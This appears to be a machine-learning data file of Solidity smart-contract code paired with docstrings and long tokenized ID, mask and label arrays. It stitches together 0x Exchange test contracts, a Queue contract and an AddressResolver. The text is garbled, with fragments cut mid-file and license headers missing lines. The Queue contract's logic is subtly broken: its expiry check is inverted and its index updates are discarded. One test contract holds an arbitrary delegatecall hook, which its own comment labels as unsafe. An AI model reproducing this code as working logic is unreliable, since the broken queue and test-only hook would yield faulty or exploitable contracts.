{}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
pragma experimental ABIEncoderV2;
import "@0x/contracts-exchange-libs/contracts/src/LibZeroExTransaction.sol";
import "../src/Exchange.sol";
contract TestTransactions is
Exchange
{
event ExecutableCalled(
bytes data,
bytes returnData,
address contextAddress
);
constructor ()
public
Exchange(1337)
{} // solhint-disable-line no-empty-blocks
function setCurrentContextAddress(address context)
external
{
currentContextAddress = context;
}
function setTransactionExecuted(bytes32 hash)
external
{
transactionsExecuted[hash] = true;
}
function setCurrentContextAddressIfRequired(address signerAddress, address context)
external
{
_setCurrentContextAddressIfRequired(signerAddress, context);
}
function getCurrentContextAddress()
external
view
returns (address)
{
return _getCurrentContextAddress();
}
function assertExecutableTransaction(
LibZeroExTransaction.ZeroExTransaction memory transaction,
bytes memory signature
)
public
view
{
return _assertExecutableTransaction(
transaction,
signature,
transaction.getTypedDataHash(EIP712_EXCHANGE_DOMAIN_HASH)
);
}
// This function will execute arbitrary calldata via a delegatecall. This is highly unsafe to use in production, and this
// is only meant to be used during testing.
function executable(
bool shouldSucceed,
bytes memory data,
bytes memory returnData
)
public
returns (bytes memory)
{
emit ExecutableCalled(
data,
returnData,
currentContextAddress
);
require(shouldSucceed, "EXECUTABLE_FAILED");
if (data.length != 0) {
(bool didSucceed, bytes memory callResultData) = address(this).delegatecall(data); // This is a delegatecall to preserve the `msg.sender` field
if (!didSucceed) {
assembly { revert(add(callResultData, 0x20), mload(callResultData)) }
}
}
return returnData;
}
function _isValidTransactionWithHashSignature(
LibZeroExTransaction.ZeroExTransaction memory,
bytes32,
bytes memory signature
)
internal
view
returns (bool)
{
if (
signature.length == 2 &&
signature[0] == 0x0 &&
signature[1] == 0x0
) {
return false;
}
return true;
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-exchange-libs/contracts/src/LibOrder.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibZeroExTransaction.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibEIP712ExchangeDomain.sol";
import "@0x/contracts-erc20/contracts/src/interfaces/IERC20Token.sol";
import "@0x/contracts-utils/contracts/src/LibBytes.sol";
import "@0x/contracts-utils/contracts/src/LibEIP1271.sol";
import "../src/interfaces/IEIP1271Data.sol";
// solhint-disable no-unused-vars
contract TestValidatorWallet is
LibEIP1271
{
using LibBytes for bytes;
// Magic bytes to be returned by `Wallet` signature type validators.
// bytes4(keccak256("isValidWalletSignature(bytes32,address,bytes)"))
bytes4 private constant LEGACY_WALLET_MAGIC_VALUE = 0xb0671381;
/// @dev Revert reason for `Revert` `ValidatorAction`.
string constant public REVERT_REASON = "you shall not pass";
enum ValidatorAction {
// Return failure (default)
Reject,
// Return success
Accept,
// Revert
Revert,
// Update state
UpdateState,
// Ensure the signature hash matches what was prepared
MatchSignatureHash,
// Return boolean `true`,
ReturnTrue,
// Return no data.
ReturnNothing,
NTypes
}
/// @dev The Exchange domain hash..
LibEIP712ExchangeDomain internal _exchange;
/// @dev Internal state to modify.
uint256 internal _state = 1;
/// @dev What action to execute when a hash is validated .
mapping (bytes32 => ValidatorAction) internal _hashActions;
/// @dev keccak256 of the expected signature data for a hash.
mapping (bytes32 => bytes32) internal _hashSignatureHashes;
constructor(address exchange) public {
_exchange = LibEIP712ExchangeDomain(exchange);
}
/// @dev Approves an ERC20 token to spend tokens from this address.
/// @param token Address of ERC20 token.
/// @param spender Address that will spend tokens.
/// @param value Amount of tokens spender is approved to spend.
function approveERC20(
address token,
address spender,
uint256 value
)
external
{
IERC20Token(token).approve(spender, value);
}
/// @dev Prepares this contract to validate a signature.
/// @param hash The hash.
/// @param action Action to take.
/// @param signatureHash keccak256 of the expected signature data.
function prepare(
bytes32 hash,
ValidatorAction action,
bytes32 signatureHash
)
external
{
if (uint8(action) >= uint8(ValidatorAction.NTypes)) {
revert("UNSUPPORTED_VALIDATOR_ACTION");
}
_hashActions[hash] = action;
_hashSignatureHashes[hash] = signatureHash;
}
/// @dev Validates data signed by either `EIP1271Wallet` or `Validator` signature types.
/// @param data Abi-encoded data (Order or ZeroExTransaction) and a hash.
/// @param signature Signature for `data`.
/// @return magicValue `EIP1271_MAGIC_VALUE` if the signature check succeeds.
function isValidSignature(
bytes memory data,
bytes memory signature
)
public
returns (bytes4 magicValue)
{
bytes32 hash = _decodeAndValidateHashFromEncodedData(data);
ValidatorAction action = _hashActions[hash];
if (action == ValidatorAction.Reject) {
magicValue = 0x0;
} else if (action == ValidatorAction.Accept) {
magicValue = EIP1271_MAGIC_VALUE;
} else if (action == ValidatorAction.Revert) {
revert(REVERT_REASON);
} else if (action == ValidatorAction.UpdateState) {
_updateState();
} else if (action == ValidatorAction.ReturnNothing) {
assembly {
return(0x0, 0)
}
} else if (action == ValidatorAction.ReturnTrue) {
assembly {
mstore(0x0, 1)
return(0x0, 32)
}
} else {
assert(action == ValidatorAction.MatchSignatureHash);
bytes32 expectedSignatureHash = _hashSignatureHashes[hash];
if (keccak256(signature) == expectedSignatureHash) {
magicValue = EIP1271_MAGIC_VALUE;
}
}
}
/// @dev Validates a hash with the `Wallet` signature type.
/// @param hash Message hash that is signed.
/// @param signature Proof of signing.
/// @return `LEGACY_WALLET_MAGIC_VALUE` if the signature check succeeds.
function isValidSignature(
bytes32 hash,
bytes memory signature
)
public
returns (bytes4 magicValue)
{
ValidatorAction action = _hashActions[hash];
if (action == ValidatorAction.Reject) {
magicValue = bytes4(0);
} else if (action == ValidatorAction.Accept) {
magicValue = LEGACY_WALLET_MAGIC_VALUE;
} else if (action == ValidatorAction.Revert) {
revert(REVERT_REASON);
} else if (action == ValidatorAction.UpdateState) {
_updateState();
} else if (action == ValidatorAction.ReturnNothing) {
assembly {
return(0x0, 0)
}
} else if (action == ValidatorAction.ReturnTrue) {
assembly {
mstore(0x0, 1)
return(0x0, 32)
}
} else {
assert(action == ValidatorAction.MatchSignatureHash);
bytes32 expectedSignatureHash = _hashSignatureHashes[hash];
if (keccak256(signature) == expectedSignatureHash) {
magicValue = LEGACY_WALLET_MAGIC_VALUE;
}
}
}
/// @dev Increments state variable to trigger a state change.
function _updateState()
private
{
_state++;
}
function _decodeAndValidateHashFromEncodedData(bytes memory data)
private
view
returns (bytes32 hash)
{
bytes4 dataId = data.readBytes4(0);
if (dataId == IEIP1271Data(address(0)).OrderWithHash.selector) {
// Decode the order and hash
LibOrder.Order memory order;
(order, hash) = abi.decode(
data.slice(4, data.length),
(LibOrder.Order, bytes32)
);
// Use the Exchange to calculate the hash of the order and assert
// that it matches the one we extracted previously.
require(
LibOrder.getTypedDataHash(order, _exchange.EIP712_EXCHANGE_DOMAIN_HASH()) == hash,
"UNEXPECTED_ORDER_HASH"
);
} else if (dataId == IEIP1271Data(address(0)).ZeroExTransactionWithHash.selector) {
// Decode the transaction and hash
LibZeroExTransaction.ZeroExTransaction memory transaction;
(transaction, hash) = abi.decode(
data.slice(4, data.length),
(LibZeroExTransaction.ZeroExTransaction, bytes32)
);
// Use the Exchange to calculate the hash of the transaction and assert
// that it matches the one we extracted previously.
require(
LibZeroExTransaction.getTypedDataHash(transaction, _exchange.EIP712_EXCHANGE_DOMAIN_HASH()) == hash,
"UNEXPECTED_TRANSACTION_HASH"
);
} else {
revert("EXPECTED_NO_DATA_TYPE");
}
return hash;
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-exchange-libs/contracts/src/LibOrder.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibFillResults.sol";
import "../src/Exchange.sol";
/// @dev A version of the Exchange contract with`_fillOrder()`,
/// `_cancelOrder()`, and `getOrderInfo()` overridden to test
/// `MixinWrapperFunctions`.
contract TestWrapperFunctions is
Exchange
{
uint8 internal constant MAX_ORDER_STATUS = uint8(LibOrder.OrderStatus.CANCELLED);
uint256 internal constant ALWAYS_FAILING_SALT = uint256(-1);
string internal constant ALWAYS_FAILING_SALT_REVERT_REASON = "ALWAYS_FAILING_SALT";
// solhint-disable no-unused-vars
event FillOrderCalled(
LibOrder.Order order,
uint256 takerAssetFillAmount,
bytes signature
);
event CancelOrderCalled(
LibOrder.Order order
);
// solhint-disable no-empty-blocks
constructor ()
public
// Initialize the exchange with a fixed chainId ("test" in hex).
Exchange(0x74657374)
{}
/// @dev Overridden to be deterministic and simplified.
function getOrderInfo(LibOrder.Order memory order)
public
view
returns (LibOrder.OrderInfo memory orderInfo)
{
// Lower uint128 of `order.salt` is the `orderTakerAssetFilledAmount`.
orderInfo.orderTakerAssetFilledAmount = uint128(order.salt);
// High byte of `order.salt` is the `orderStatus`.
orderInfo.orderStatus = uint8(order.salt >> 248) % (MAX_ORDER_STATUS + 1);
orderInfo.orderHash = order.getTypedDataHash(EIP712_EXCHANGE_DOMAIN_HASH);
}
function fillOrderNoThrow(
LibOrder.Order memory order,
uint256 takerAssetFillAmount,
bytes memory signature
)
public
returns (LibFillResults.FillResults memory fillResults)
{
return _fillOrderNoThrow(
order,
takerAssetFillAmount,
signature
);
}
/// @dev Overridden to log arguments, be deterministic, and revert with certain inputs.
function _fillOrder(
LibOrder.Order memory order,
uint256 takerAssetFillAmount,
bytes memory signature
)
internal
returns (LibFillResults.FillResults memory fillResults)
{
emit FillOrderCalled(
order,
takerAssetFillAmount,
signature
);
// Fail if the salt is ALWAYS_FAILING_SALT.
if (order.salt == ALWAYS_FAILING_SALT) {
revert(ALWAYS_FAILING_SALT_REVERT_REASON);
}
// We aren't interested in correctness here because we are testing the
// behavior of the caller, not `_fillOrder()` itself. We just need some
// values that the caller can aggregate together.
fillResults.makerAssetFilledAmount = order.makerAssetAmount;
fillResults.takerAssetFilledAmount = order.takerAssetAmount;
fillResults.makerFeePaid = order.makerFee;
fillResults.takerFeePaid = order.takerFee;
fillResults.protocolFeePaid = protocolFeeMultiplier;
}
/// @dev Overridden to only log arguments and revert with certain inputs.
function _cancelOrder(
LibOrder.Order memory order
)
internal
{
emit CancelOrderCalled(
order
);
// Fail if the salt is ALWAYS_FAILING_SALT.
if (order.salt == ALWAYS_FAILING_SALT) {
revert(ALWAYS_FAILING_SALT_REVERT_REASON);
}
}
}
| @dev Executes an Exchange method call in the context of signer. @param transaction 0x transaction structure. @param signature Proof that transaction has been signed by signer. @return ABI encoded return data of the underlying Exchange function call. | function preSign(bytes32 hash)
external
payable;
function setSignatureValidatorApproval(
address validatorAddress,
bool approval
)
external
payable;
function isValidHashSignature(
bytes32 hash,
address signerAddress,
bytes memory signature
)
public
view
returns (bool isValid);
function isValidOrderSignature(
LibOrder.Order memory order,
bytes memory signature
)
public
view
returns (bool isValid);
function isValidTransactionSignature(
LibZeroExTransaction.ZeroExTransaction memory transaction,
bytes memory signature
)
public
view
returns (bool isValid);
function _isValidOrderWithHashSignature(
LibOrder.Order memory order,
bytes32 orderHash,
bytes memory signature
)
internal
view
returns (bool isValid);
function _isValidTransactionWithHashSignature(
LibZeroExTransaction.ZeroExTransaction memory transaction,
bytes32 transactionHash,
bytes memory signature
)
internal
view
returns (bool isValid);
}
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
pragma solidity ^0.5.9;
pragma experimental ABIEncoderV2;
import "@0x/contracts-exchange-libs/contracts/src/LibOrder.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibZeroExTransaction.sol";
}
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
pragma solidity ^0.5.9;
pragma experimental ABIEncoderV2;
import "@0x/contracts-exchange-libs/contracts/src/LibZeroExTransaction.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibEIP712ExchangeDomain.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibExchangeRichErrors.sol";
import "@0x/contracts-utils/contracts/src/LibRichErrors.sol";
import "@0x/contracts-utils/contracts/src/Refundable.sol";
import "./interfaces/ITransactions.sol";
import "./interfaces/ISignatureValidator.sol";
contract MixinTransactions is
Refundable,
LibEIP712ExchangeDomain,
ISignatureValidator,
ITransactions
{
return _executeTransaction(transaction, signature);
}
| 1,007,467 | [
1,
9763,
392,
18903,
707,
745,
316,
326,
819,
434,
10363,
18,
225,
2492,
374,
92,
2492,
3695,
18,
225,
3372,
1186,
792,
716,
2492,
711,
2118,
6726,
635,
10363,
18,
327,
10336,
45,
3749,
327,
501,
434,
326,
6808,
18903,
445,
745,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
675,
2766,
12,
3890,
1578,
1651,
13,
203,
3639,
3903,
203,
3639,
8843,
429,
31,
203,
203,
565,
445,
444,
5374,
5126,
23461,
12,
203,
3639,
1758,
4213,
1887,
16,
203,
3639,
1426,
23556,
203,
565,
262,
203,
3639,
3903,
203,
3639,
8843,
429,
31,
203,
203,
565,
445,
4908,
2310,
5374,
12,
203,
3639,
1731,
1578,
1651,
16,
203,
3639,
1758,
10363,
1887,
16,
203,
3639,
1731,
3778,
3372,
203,
565,
262,
203,
3639,
1071,
203,
3639,
1476,
203,
3639,
1135,
261,
6430,
4908,
1769,
203,
203,
565,
445,
4908,
2448,
5374,
12,
203,
3639,
10560,
2448,
18,
2448,
3778,
1353,
16,
203,
3639,
1731,
3778,
3372,
203,
565,
262,
203,
3639,
1071,
203,
3639,
1476,
203,
3639,
1135,
261,
6430,
4908,
1769,
203,
203,
565,
445,
4908,
3342,
5374,
12,
203,
3639,
10560,
7170,
424,
3342,
18,
7170,
424,
3342,
3778,
2492,
16,
203,
3639,
1731,
3778,
3372,
203,
565,
262,
203,
3639,
1071,
203,
3639,
1476,
203,
3639,
1135,
261,
6430,
4908,
1769,
203,
203,
565,
445,
389,
26810,
2448,
1190,
2310,
5374,
12,
203,
3639,
10560,
2448,
18,
2448,
3778,
1353,
16,
203,
3639,
1731,
1578,
1353,
2310,
16,
203,
3639,
1731,
3778,
3372,
203,
565,
262,
203,
3639,
2713,
203,
3639,
1476,
203,
3639,
1135,
261,
6430,
4908,
1769,
203,
203,
565,
445,
389,
26810,
3342,
1190,
2310,
5374,
12,
203,
3639,
10560,
7170,
424,
3342,
18,
7170,
424,
3342,
3778,
2492,
16,
203,
3639,
1731,
1578,
2492,
2310,
16,
203,
3639,
1731,
3778,
3372,
203,
565,
2
]
|
pragma solidity ^0.4.15;
/**
* @title Queue
* @dev Data structure contract used in `Crowdsale.sol`
* Allows buyers to line up on a first-in-first-out basis
* See this example: http://interactivepython.org/courselib/static/pythonds/BasicDS/ImplementingaQueueinPython.html
*/
contract Queue {
/* State variables */
uint8 private queueSize = 5;
uint8 private headIndex = 1; //ineex starts 1 and wrap around 7. so the non existing address in the below mapping is 0
uint8 private tailIndex = 1;
mapping (uint8 => address) private addresses;
mapping (address => uint8) private indexes;
mapping (address => uint256) private releaseTime;
uint16 constant TIME_DIFF = 3600;
/* Add events */
//event Enqueue(address sender);
//event Dequeue(address sender);
/* Add constructor */
constructor () public {
}
/* Returns the number of people waiting in line */
function qsize() constant public returns(uint8) {
//Return 0 if queue is empty
if (tailIndex == headIndex)
return 0;
//Size is the distance between head and tail
if (headIndex > tailIndex)
return (headIndex - tailIndex);
else
return (queueSize - tailIndex + headIndex);
}
/* Returns whether the queue is empty or not */
function empty() constant public returns(bool) {
if (0 == qsize())
return true;
return false;
}
/* Returns the address of the person in the front of the queue */
function getFirst() constant public returns(address) {
return addresses[headIndex];
}
/* Allows `msg.sender` to check their position in the queue */
function checkPlace() constant public returns(uint8) {
return indexes[msg.sender];
}
/* Allows anyone to expel the first person in line if their time
* limit is up
*/
function checkTime() public {
if (releaseTime[addresses[headIndex]] > now)
dequeue();
}
/* Removes the first person in line; either when their time is up or when
* they are done with their purchase
*/
function dequeue() public {
if (qsize() >=1 ){
indexes[addresses[tailIndex]] = 0;
releaseTime[addresses[tailIndex]] = 0;
addresses[tailIndex] = 0x0;
moveIndex(tailIndex);
}
}
/* Places `addr` in the first empty position in the queue */
function enqueue(address addr_) public {
//Address must not exist
require(indexes[addr_] == 0x0);
//if queue is full, check whether the first one should expire
if (qsize() >= queueSize){
if (releaseTime[addresses[0]] > now)
dequeue();
else
return;
}
//Queue has space, add input to the next empty spot
if (qsize() < queueSize){
indexes[addr_] = headIndex;
addresses[headIndex] = addr_;
releaseTime[addr_] = now + TIME_DIFF;
moveIndex(headIndex);
}
}
function moveIndex(uint8 index_) constant returns(uint8){
//index must start after 0
require(index_ > 0);
//wrap around
if (index_ >= (queueSize + 1))
index_ = 1;
else
index_ += 1;
return index_;
}
}
| Places `addr` in the first empty position in the queue */Address must not existif queue is full, check whether the first one should expireQueue has space, add input to the next empty spot | function enqueue(address addr_) public {
require(indexes[addr_] == 0x0);
if (qsize() >= queueSize){
if (releaseTime[addresses[0]] > now)
dequeue();
else
return;
}
if (qsize() < queueSize){
indexes[addr_] = headIndex;
addresses[headIndex] = addr_;
releaseTime[addr_] = now + TIME_DIFF;
moveIndex(headIndex);
}
}
| 5,441,489 | [
1,
24791,
1375,
4793,
68,
316,
326,
1122,
1008,
1754,
316,
326,
2389,
342,
1887,
1297,
486,
1005,
430,
2389,
353,
1983,
16,
866,
2856,
326,
1122,
1245,
1410,
6930,
3183,
711,
3476,
16,
527,
810,
358,
326,
1024,
1008,
16463,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
202,
915,
12850,
12,
2867,
3091,
67,
13,
1071,
288,
203,
3639,
2583,
12,
11265,
63,
4793,
67,
65,
422,
374,
92,
20,
1769,
203,
203,
202,
202,
430,
261,
85,
1467,
1435,
1545,
2389,
1225,
15329,
203,
1082,
202,
430,
261,
9340,
950,
63,
13277,
63,
20,
13563,
405,
2037,
13,
203,
9506,
225,
29964,
5621,
203,
1082,
202,
12107,
203,
9506,
225,
327,
31,
203,
202,
202,
97,
203,
202,
202,
430,
261,
85,
1467,
1435,
411,
2389,
1225,
15329,
203,
1082,
225,
5596,
63,
4793,
67,
65,
273,
910,
1016,
31,
203,
1082,
225,
6138,
63,
1978,
1016,
65,
273,
3091,
67,
31,
203,
1082,
225,
3992,
950,
63,
4793,
67,
65,
273,
2037,
397,
8721,
67,
2565,
2246,
31,
203,
202,
1377,
3635,
1016,
12,
1978,
1016,
1769,
203,
202,
565,
289,
203,
202,
97,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity >=0.5.0;
//Interfaces
import './interfaces/IAddressResolver.sol';
//Inheritance
import './Ownable.sol';
contract AddressResolver is IAddressResolver, Ownable {
mapping (address => address) public _tradingBotAddresses;
mapping (address => address) public _strategyAddresses;
mapping (address => address) public _poolAddresses;
mapping (string => address) public contractAddresses;
constructor() public Ownable() {}
/* ========== VIEWS ========== */
/**
* @dev Given a contract name, returns the address of the contract
* @param contractName The name of the contract
* @return address The address associated with the given contract name
*/
function getContractAddress(string memory contractName) public view override returns(address) {
require (contractAddresses[contractName] != address(0), "AddressResolver: contract not found");
return contractAddresses[contractName];
}
/**
* @dev Given an address, returns whether the address belongs to a trading bot
* @param tradingBotAddress The address to validate
* @return bool Whether the given address is a valid trading bot address
*/
function checkIfTradingBotAddressIsValid(address tradingBotAddress) public view override returns(bool) {
return (tradingBotAddress != address(0)) ? (_tradingBotAddresses[tradingBotAddress] == tradingBotAddress) : false;
}
/**
* @dev Given an address, returns whether the address belongs to a strategy
* @param strategyAddress The address to validate
* @return bool Whether the given address is a valid strategy address
*/
function checkIfStrategyAddressIsValid(address strategyAddress) public view override returns(bool) {
return (strategyAddress != address(0)) ? (_strategyAddresses[strategyAddress] == strategyAddress) : false;
}
/**
* @dev Given an address, returns whether the address belongs to a user pool
* @param poolAddress The address to validate
* @return bool Whether the given address is a valid user pool address
*/
function checkIfPoolAddressIsValid(address poolAddress) public view override returns(bool) {
return (poolAddress != address(0)) ? (_poolAddresses[poolAddress] == poolAddress) : false;
}
/* ========== RESTRICTED FUNCTIONS ========== */
/**
* @dev Updates the address for the given contract; meant to be called by AddressResolver owner
* @param contractName The name of the contract
* @param newAddress The new address for the given contract
*/
function setContractAddress(string memory contractName, address newAddress) external override onlyOwner isValidAddress(newAddress) {
address oldAddress = contractAddresses[contractName];
contractAddresses[contractName] = newAddress;
emit UpdatedContractAddress(contractName, oldAddress, newAddress, block.timestamp);
}
/**
* @dev Adds a new trading bot address; meant to be called by the Strategy contract that owns the trading bot
* @param tradingBotAddress The address of the trading bot
*/
function addTradingBotAddress(address tradingBotAddress) external override onlyStrategy isValidAddress(tradingBotAddress) {
require(_tradingBotAddresses[tradingBotAddress] != tradingBotAddress, "Trading bot already exists");
_tradingBotAddresses[tradingBotAddress] = tradingBotAddress;
}
/**
* @dev Adds a new strategy address; meant to be called by the StrategyManager contract
* @param strategyAddress The address of the strategy
*/
function addStrategyAddress(address strategyAddress) external override onlyStrategyManager isValidAddress(strategyAddress) {
require(_strategyAddresses[strategyAddress] != strategyAddress, "Strategy already exists");
_strategyAddresses[strategyAddress] = strategyAddress;
}
/**
* @dev Adds a new user pool address; meant to be called by the PoolManager contract
* @param poolAddress The address of the user pool
*/
function addPoolAddress(address poolAddress) external override onlyPoolManager isValidAddress(poolAddress) {
require(_poolAddresses[poolAddress] != poolAddress, "Pool already exists");
_poolAddresses[poolAddress] = poolAddress;
}
/* ========== MODIFIERS ========== */
modifier isValidAddress(address addressToCheck) {
require(addressToCheck != address(0), "Address is not valid");
_;
}
modifier validAddressForTransfer(address addressToCheck) {
require(addressToCheck == contractAddresses["StakingRewards"] || addressToCheck == contractAddresses["StrategyProxy"] || addressToCheck == contractAddresses["StrategyApproval"] || addressToCheck == contractAddresses["Components"], "Address is not valid");
_;
}
modifier onlyStrategy() {
require(msg.sender == _strategyAddresses[msg.sender], "Only the Strategy contract can call this function");
_;
}
modifier onlyStrategyManager() {
require(msg.sender == contractAddresses["StrategyManager"], "Only the StrategyManager contract can call this function");
_;
}
modifier onlyPoolManager() {
require(msg.sender == contractAddresses["PoolManager"], "Only the PoolManager contract can call this function");
_;
}
/* ========== EVENTS ========== */
event UpdatedContractAddress(string contractName, address oldAddress, address newAddress, uint timestamp);
event AddedTradingBotAddress(address tradingBotAddress, uint timestamp);
event AddedStrategyAddress(address strategyAddress, uint timestamp);
event AddedPoolAddress(address poolAddress, uint timestamp);
} | * @dev Adds a new strategy address; meant to be called by the StrategyManager contract @param strategyAddress The address of the strategy/ | function addStrategyAddress(address strategyAddress) external override onlyStrategyManager isValidAddress(strategyAddress) {
require(_strategyAddresses[strategyAddress] != strategyAddress, "Strategy already exists");
_strategyAddresses[strategyAddress] = strategyAddress;
}
| 6,447,594 | [
1,
3655,
279,
394,
6252,
1758,
31,
20348,
358,
506,
2566,
635,
326,
19736,
1318,
6835,
225,
6252,
1887,
1021,
1758,
434,
326,
6252,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
